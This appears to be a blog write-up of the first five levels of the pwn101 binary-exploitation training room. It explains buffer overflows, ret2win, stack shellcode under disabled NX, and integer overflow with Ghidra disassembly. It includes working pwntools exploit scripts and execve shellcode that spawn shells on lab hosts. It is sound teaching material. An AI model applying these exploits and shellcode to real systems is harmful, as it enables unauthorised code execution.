pwn101 part 1

pwn101 room

Welcome to this websites first writeup, today we’re going to go through the pwn101 room challenges, a series of binary exploitation exercises which provide a good starting point for learning binary exploitation and hacking in general.

Level 1

The first level consists of a simple buffer overflow, which we probe for by flooding the input buffer we are given to see if we can crash the program.

pwn101solved

We can see the moment the buffer gets overran it executes "/bin/sh". 

Great! First one was easy, now we just have to make a python script and send it over to the vulnerable server. I used pwntools for this.

from pwn import *

context.binary = binary = "./challenge1"

payload = b"A"*((0x40-0x4)+1)

#p = process()
p = remote("10.10.145.15", 9001)
p.recv()
p.sendline(payload)
p.interactive()

Level 2

We try the same tactic for the second challenge, however it doesn’t crash the program:

pwn2 being ran

So we do what anyone would do when the plain old method doesnt work and see what changed, by running checksec and ghidra on the binary.(standard procedure from now on)

deadeye@Win-10:~/Documents/cracks/pwn101/challenge2$ checksec --file=challenge2         
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Full RELRO      No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   73 Symbols        No    0               1               challenge2

        0010091a c7 45 fc        MOV        dword ptr [RBP + local_c],0xbadf00d
                 0d f0 ad 0b
        00100921 c7 45 f8        MOV        dword ptr [RBP + local_10],0xfee1dead
                 ad de e1 fe
        00100928 8b 55 f8        MOV        EDX,dword ptr [RBP + local_10]
        0010092b 8b 45 fc        MOV        EAX,dword ptr [RBP + local_c]
        0010092e 89 c6           MOV        ESI,EAX
        00100930 48 8d 3d        LEA        RDI,[s_I_need_%x_to_%x_Am_I_right?_00100b49]     = "I need %x to %x\nAm I right? "
                 12 02 00 00
        00100937 b8 00 00        MOV        EAX,0x0
                 00 00
        0010093c e8 ef fd        CALL       <EXTERNAL>::printf                               int printf(char * __format, ...)
                 ff ff
        00100941 48 8d 45 90     LEA        RAX=>local_78,[RBP + -0x70]
        00100945 48 89 c6        MOV        RSI,RAX
        00100948 48 8d 3d        LEA        RDI,[DAT_00100b66]                               = 25h    %
                 17 02 00 00
        0010094f b8 00 00        MOV        EAX,0x0
                 00 00
        00100954 e8 f7 fd        CALL       <EXTERNAL>::__isoc99_scanf                       undefined __isoc99_scanf()
                 ff ff
        00100959 81 7d fc        CMP        dword ptr [RBP + local_c],0xc0ff33
                 33 ff c0 00
        00100960 75 30           JNZ        LAB_00100992
        00100962 81 7d f8        CMP        dword ptr [RBP + local_10],0xc0d3
                 d3 c0 00 00
        00100969 75 27           JNZ        LAB_00100992
        0010096b 8b 55 f8        MOV        EDX,dword ptr [RBP + local_10]
        0010096e 8b 45 fc        MOV        EAX,dword ptr [RBP + local_c]
        00100971 89 c6           MOV        ESI,EAX
        00100973 48 8d 3d        LEA        RDI,[s_Yes,_I_need_%x_to_%x_00100b69]            = "Yes, I need %x to %x\n"
                 ef 01 00 00
        0010097a b8 00 00        MOV        EAX,0x0
                 00 00
        0010097f e8 ac fd        CALL       <EXTERNAL>::printf                               int printf(char * __format, ...)
                 ff ff
        00100984 48 8d 3d        LEA        RDI,[s_/bin/sh_00100b7f]                         = "/bin/sh"
                 f4 01 00 00
        0010098b e8 90 fd        CALL       <EXTERNAL>::system                               int system(char * __command)
                 ff ff
        00100990 eb 16           JMP        LAB_001009a8

We notice that scanf gets called to handle our input, which is an unsafe function that only knows when to stop when it encounters a space " “. We also notice that if we manage to change local_c and local_10 to 0xc0ff33 and 0xc0d3 respectively, we get a shell.But how are we going to do this? well because we know that we scanf never stops we can overflow the stack until we reach the address in memory where these variables are stored, and our python script will look like this:

from pwn import *

context.binary = binary = "./challenge2"

payload = b"A"*0x68 + p32(0xc0d3) + p32(0xc0ff33)

#p = process()
p = remote("10.10.212.27", 9002)
p.recv()
p.sendline(payload)
p.interactive()

Why wrap them in p32( )? it’s because of endianness, computers(most of them) see everything in little endian format which starts with the least significant byte first, so the big endian 0xc0ff33 would look more like 0x33ffc0 to the computer.Watch a much better explanation here

Level 3

After exploring the binary for a little bit we find a discord-like general chat which we quickly raid with a load of “A"s

🗣  General:

------[jopraveen]: Hello pwners 👋
------[jopraveen]: Hope you're doing well 😄
------[jopraveen]: You found the vuln, right? 🤔

------[pwner]: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Try harder!!! 💪
zsh: segmentation fault  ./challenge3

decompiling the binary with ghidra shows an interesting function which is never called in main( ) called admins_only( ).

                             undefined admins_only()
             undefined         AL:1           <RETURN>
                             admins_only                                     XREF[3]:     Entry Point(*), 004033b8, 
                                                                                          00403540(*)  
        00401554 55              PUSH       RBP
        00401555 48 89 e5        MOV        RBP,RSP
        00401558 48 83 ec 10     SUB        RSP,0x10
        0040155c 48 8d 05        LEA        RAX,[DAT_00403267]                               = 0Ah
                 04 1d 00 00
        00401563 48 89 c7        MOV        RDI=>DAT_00403267,RAX                            = 0Ah
        00401566 e8 d5 fa        CALL       <EXTERNAL>::puts                                 int puts(char * __s)
                 ff ff
        0040156b 48 8d 05        LEA        RAX,[DAT_0040327c]                               = 57h    W
                 0a 1d 00 00
        00401572 48 89 c7        MOV        RDI=>DAT_0040327c,RAX                            = 57h    W
        00401575 e8 c6 fa        CALL       <EXTERNAL>::puts                                 int puts(char * __s)
                 ff ff
        0040157a 48 8d 05        LEA        RAX,[s_/bin/sh_0040328f]                         = "/bin/sh"
                 0e 1d 00 00
        00401581 48 89 c7        MOV        RDI=>s_/bin/sh_0040328f,RAX                      = "/bin/sh"
        00401584 e8 c7 fa        CALL       <EXTERNAL>::system                               int system(char * __command)
                 ff ff
        00401589 90              NOP
        0040158a c9              LEAVE
        0040158b c3              RET

To understand what we’re doing here, we first need to get familiar with what a functions prologue and epilogue is. The prologue simply initialises a new stack for the function and also allocates some bytes for its variables like so:

        00401554 55              PUSH       RBP
        00401555 48 89 e5        MOV        RBP,RSP
        00401558 48 83 ec 10     SUB        RSP,0x10

(You might see the first two replaced by an ENTER instruction, does the same thing.)

The prologue on the other hand, does the exact opposite,by retrieving the old RBP base pointer and returning to execute the last memory address which it saved on the stack before entering the function:

        00401589 90              NOP
        0040158a c9              LEAVE
        0040158b c3              RET

Our plan is to replace the memory address RET returns to from memory with the memory address of the admins_only( ) function by overflowing the buffer with junk up to that point. Our python script will look something like this (remember p64 ( )):

from pwn import *

context.binary = binary = ELF("./challenge3")

'''
Option 3 is vulnerable
scanf writes data from rbp-0x20
'''

admin_only_address = p64(binary.symbols.admins_only)
payload = b"A"*0x20 + b"B"*0x8 + admin_only_address
ret2 = admin_only_address
#p = process()
p = remote("10.10.5.146", 9003)
p.sendline(b"3")

p.sendline(payload + ret2)
p.interactive()

Level 4

pwn104 ran

As we can see this program spits out a seemingly random address at runtime. That is becuase of ASLR(address space layout randomization) a computer security measure meant to make it harder for us to exploit buffer overflows. It’s also at the OS level so disabling it would not only bring inconvenience but also create an unrealistic situation, because ASLR is enabled by default on most computers noawadays…

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   46 Symbols        No    0               2               challenge4

Running checksec on our binary however does reveal something interesting. The NX bit is disabled, which is meant to not allow execution of things on the stack.

We also notice something interesting in ghidra


                             undefined main()
             undefined         AL:1           <RETURN>
             undefined1        Stack[-0x58]:1 local_58                                XREF[2]:     00401216(*), 
                                                                                                   00401231(*)  
                             main                                            XREF[4]:     Entry Point(*), 
                                                                                          _start:0040108d(*), 004021e0, 
                                                                                          004022c0(*)  
        004011cd 55              PUSH       RBP
        004011ce 48 89 e5        MOV        RBP,RSP
        004011d1 48 83 ec 50     SUB        RSP,0x50 ; 80 in decimal
        004011d5 b8 00 00        MOV        EAX,0x0
                 00 00
        004011da e8 77 ff        CALL       setup                                            undefined setup()
                 ff ff
        ...     ...             ...         ...                                             ...
        <SNIP>                  <SNIP>                                                  <SNIP>
        ...     ...             ...         ...                                             ...

                00401224 48 89 c7        MOV        RDI=>s_I'm_waiting_for_you_at_%p_00402190,RAX    = "I'm waiting for you at %p\n"
        00401227 b8 00 00        MOV        EAX,0x0
                 00 00
        0040122c e8 0f fe        CALL       <EXTERNAL>::printf                               int printf(char * __format, ...)
                 ff ff
        00401231 48 8d 45 b0     LEA        RAX=>local_58,[RBP + -0x50]
        00401235 ba c8 00        MOV        EDX,0xc8 ;200 in decimal                                      
                 00 00
        0040123a 48 89 c6        MOV        RSI,RAX
        0040123d bf 00 00        MOV        EDI,0x0
                 00 00
        00401242 b8 00 00        MOV        EAX,0x0
                 00 00
        00401247 e8 04 fe        CALL       <EXTERNAL>::read                                 ssize_t read(int __fd, void * __
                 ff ff

This time the function itself is not vulnerable, but rather human error came into play: Notice that when the stack is initialised, it only allocates 80 bytes, however when the read function is called, it allows to read a buffer of up to 200 bytes, which obviously overflows the stack, the program also conveniently tells us the address of the rip on each execution. With this in mind we can prepare an exploit to execute shellcode we input from the stack. NOTE: not my shellcode, source here.

from pwn import *

context.binary = binary = "./challenge4"
context.log_level = "debug"

shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"

#p = process()
p = remote("10.10.5.146", 9004)
p.recv()
output = p.recv()

buffer_address = int(output.split(b"at")[1].strip().decode("utf-8"), 16)
payload = shellcode + b"A"*(0x50 - len(shellcode)) + b"B" * 0x8 + p64(buffer_address)
p.sendline(payload)
p.interactive()

Level 5

pwn5 being ran

I found this one to be quite easy, as I was lucky enough to insert two high but not too high numbers which when added result in an integer overflow, a vulnerability that affects the sign bit of integers. see more about it here at 8:54.

                             LAB_0010134b                                    XREF[1]:     00101312(j)  
        0010134b 8b 45 f4        MOV        EAX,dword ptr [RBP + local_14]
        0010134e 89 c6           MOV        ESI,EAX
        00101350 48 8d 05        LEA        RAX,[s__[*]_C:_%d_00102197]                      = "\n[*] C: %d"
                 40 0e 00 00
        00101357 48 89 c7        MOV        RDI=>s__[*]_C:_%d_00102197,RAX                   = "\n[*] C: %d"
        0010135a b8 00 00        MOV        EAX,0x0
                 00 00
        0010135f e8 fc fc        CALL       <EXTERNAL>::printf                               int printf(char * __format, ...)
                 ff ff
        00101364 48 8d 05        LEA        RAX,[s__[*]_Popped_Shell_[*]_Switching_t_00102   = "\n[*] Popped Shell\n[*] Switc
                 3d 0e 00 00
        0010136b 48 89 c7        MOV        RDI=>s__[*]_Popped_Shell_[*]_Switching_t_00102   = "\n[*] Popped Shell\n[*] Switc
        0010136e e8 bd fc        CALL       <EXTERNAL>::puts                                 int puts(char * __s)
                 ff ff
        00101373 48 8d 05        LEA        RAX,[s_/bin/sh_001021dc]                         = "/bin/sh"
                 62 0e 00 00
        0010137a 48 89 c7        MOV        RDI=>s_/bin/sh_001021dc,RAX                      = "/bin/sh"
        0010137d e8 ce fc        CALL       <EXTERNAL>::system                               int system(char * __command)
                 ff ff
        00101382 eb 1f           JMP        LAB_001013a3

The program then compares the result with 0, and if it is negative jumps to the function above, popping a shell. The highest integer we can express in a signed 32 bit integer is 2,147,483,647, any more than this and we would overflow into the negative side.

from pwn import *

context.binary = binary = ELF("./challenge5")

p = remote("10.10.183.127", 9005)
payload1 = "2147483647"
payload2 = "1"
p.recv()
p.recv()
p.sendline(payload1)
p.sendline(payload2)
p.interactive()

This is it for now, see you in part 2!